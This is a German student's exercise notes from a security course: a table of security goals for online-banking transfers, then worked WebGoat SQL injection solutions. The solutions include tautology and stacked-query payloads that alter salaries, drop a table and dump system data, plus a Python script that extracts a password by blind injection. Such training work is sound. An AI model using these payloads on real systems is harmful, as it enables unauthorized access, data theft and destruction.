obsidian/Informationssicherheit/Ueb2/Ueb2.md

2.1

Tabelle

Schritt	Sicheheitsziele	Assets	Parteien
Formular-basierte Webseite	Verfügbarkeit	Webseite und Webserver	Bank und Kunde
Eingabe der Überweisungsdetails	Vertraulichkeit und Integrität	Überweisungsinformationen (Empfänger, IBAN, Betrag)	Kunde, Bank und Empfänger
Anforderung einer TAN	Vertraulichkeit und Integrität	TAN-Liste, Index und TAN-Verfahren	Kunde und Bank
Eingabe und Bestätigung der TAN	Vertraulichkeit, Integrität und Authentizität	Eingegebene TAN und Überweisungsdetails	Kunde, Bank und Empfänger
Anzeige der Quittung	Vertraulichkeit und Integrität	Quittungsinformationen (z.B. Überweisungsdetails, Datum, Uhrzeit)	Kunde, Bank und Empfänger

2.2

Intro

1

SELECT department FROM employees WHERE first_name='Bob'

• SELECT: Wählt Spalte aus
• FROM: Wählt Tabelle aus
• WHERE: Anweisung zum suchen

2

UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'

• UPDATE: Updated exestierende Daten
• SET: Wählt Spalte aus
• WHERE: Anweisung zum suchen
• AND: Und für die Abfragen der WHERE Anweisung

3

ALTER TABLE employees ADD phone varchar(20);

• ALTER: Verändert die Struktur einer Datenbank
• TABLE: Wählt Tabelle aus, die verändert werden soll
• ADD: Fügt eine Spalte hinzu

4

GRANT SELECT ON grant_rights TO unauthorized_user;

• GRANT: Gibt einem Benutzer Rechte
• SELECT: Wählt Spalte aus
• ON: Wählt Rechte aus
• TO: Wählt Benutzer aus

5

SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1' = '1

• Wird zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
• '1' = '1' ist immer wahr
• '1 wird durch die query geschlossen
• Wird praktisch zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE
• Ist immer wahr

6

• Login_Count: 1

• User_Id: 1 OR 1=1

• Wird zu: SELECT * From user_data WHERE Login_Count = 1 and userid= 1 OR 1=1

• das OR true sorgt dafür, dass es true ist

7

• Employee Name: Smith' OR 1=1 --

• Authentication TAN: (egal)

• Smith' beendet ' '

• OR 1=1 ist true

• "--" ignoriert den rest der Zeile (Kommentar)

8

• Employee Name: Smith'; UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'--

• Authentication TAN: (egal)

• Smith' beendet ' '

• ; beendet aktuelle query

• 'UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'' verändert salary

• "--" ignoriert den Rest

9

Smith'; DROP TABLE access_log; --

• Smith' beendet ' '
• ; beendet aktuelle query
• DROP TABLE access_log; löscht die access_log tabelle
• "--" ignoriert den Rest

Advanced

1

'; SELECT * FROM user_system_data;--

• wird zu SELECT * FROM user_data WHERE last_name = ''; SELECT * FROM user_system_data;--'
• '; beendet aktuelle query
• SELECT * FROM user_system_data; nimmt alles aus user_system_data;
• "--" ignoriert den Rest

2

• tom' AND '1'='1 is vergeben
• tom' AND substring(password,1,1)='t kann buchstaben des Passworts herrausfinden
  • "Username taken" bedeutet, dass der Buchstabe richig ist

import json  
import requests  
  
def sql_injection_advance_5():  
     alphabet_index = 0  
     alphabet = 'abcdefghijklmnopqrstuvwxyz'  
     password_index = 0  
     password = ''  
  
     headers = {  
        'Cookie': COOKIE,  
     }  
  
     while True:  
         payload = 'tom\' AND substring(password,{},1)=\'{}'.format(password_index + 1, alphabet[alphabet_index])  
  
         data = {  
             'username_reg': payload,  
             'email_reg': 'a@a',  
             'password_reg': 'a',  
             'confirm_password_reg': 'a'  
         }  
  
         r = requests.put('http://HOST:PORT/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data)  
  
         try:  
             response = json.loads(r.text)  
         except:  
             print("Wrong JSESSIONID, find it by looking at your requests once logged in.")  
             return  
  
         if "already exists please try to register with a different username" not in response['feedback']:  
             alphabet_index += 1  
             if alphabet_index > len(alphabet) - 1:  
                 return  
         else:  
             password += alphabet[alphabet_index]  
             print(password)  
             alphabet_index = 0  
             password_index += 1  
  
sql_injection_advance_5()